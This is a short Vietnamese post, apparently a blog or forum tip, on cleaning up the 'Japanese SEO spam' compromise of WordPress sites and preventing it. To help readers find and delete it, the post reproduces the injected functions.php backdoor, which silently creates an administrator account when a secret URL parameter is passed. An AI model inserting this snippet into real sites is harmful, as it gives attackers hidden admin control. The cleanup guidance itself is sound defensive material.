Lỗi index tiếng nhật và cách khắc phục Wordpress

Lỗi này rất nhiều người bị nhé nên các bạn thường xuyên check index website với cú pháp "site:tenmien.com" nếu xảy ra hiện tượng như trên thì cần khắc phục ngay.

Khắc phục:
- Xóa file htaccess -> vào wp-admin cập nhật permalink
- File wp-blog-header.php, XMLRPC bị gắn shell, loại bỏ đoạn code shell
- xóa file sitemap.xml
- Xóa tất cả file shell php trong thư mục wp-content/uploads, nếu ko tìm dc thì chặn thực thi php trong thư mục này bằng cách tạo file .htaccess trong uploads, dán code này

<FilesMatch "\.((php[0-9]?)|p?html?|pl|sh|java|cpp|c|h|js|rc)$">
SetHandler None
</FilesMatch>
- vào file functions.php trong theme xóa đoạn code độc bị chèn vào
add_action( 'wp_head', 'my_back' );
function my_back() {
if ( $_GET['back'] == 'h00h800f' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'guest', 'h00h800f' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
?>
<?php
- xóa user do hung thủ tạo
- trong thư mục plugin cũng có 1 thư mục có dạng 876ad5dbbd80 là shell, xóa

- 1 file xác minh quyền google ở thư mục gốc, xóa để thu hồi quyền
-submit lại sitemap trong webmaster tool để ko mất top

CÁCH PHÒNG:
- Nâng cấp wp lên mới nhất, chặn chức năng edit file wp
- Chmod file .htaccess để ko bị sửa
- Đặt mk mạnh
Tạm thời bug này chưa có thông báo từ phía wp nên mn dùng wp đề phòng

Update: bản 4.7.1 đã fix dc lỗi này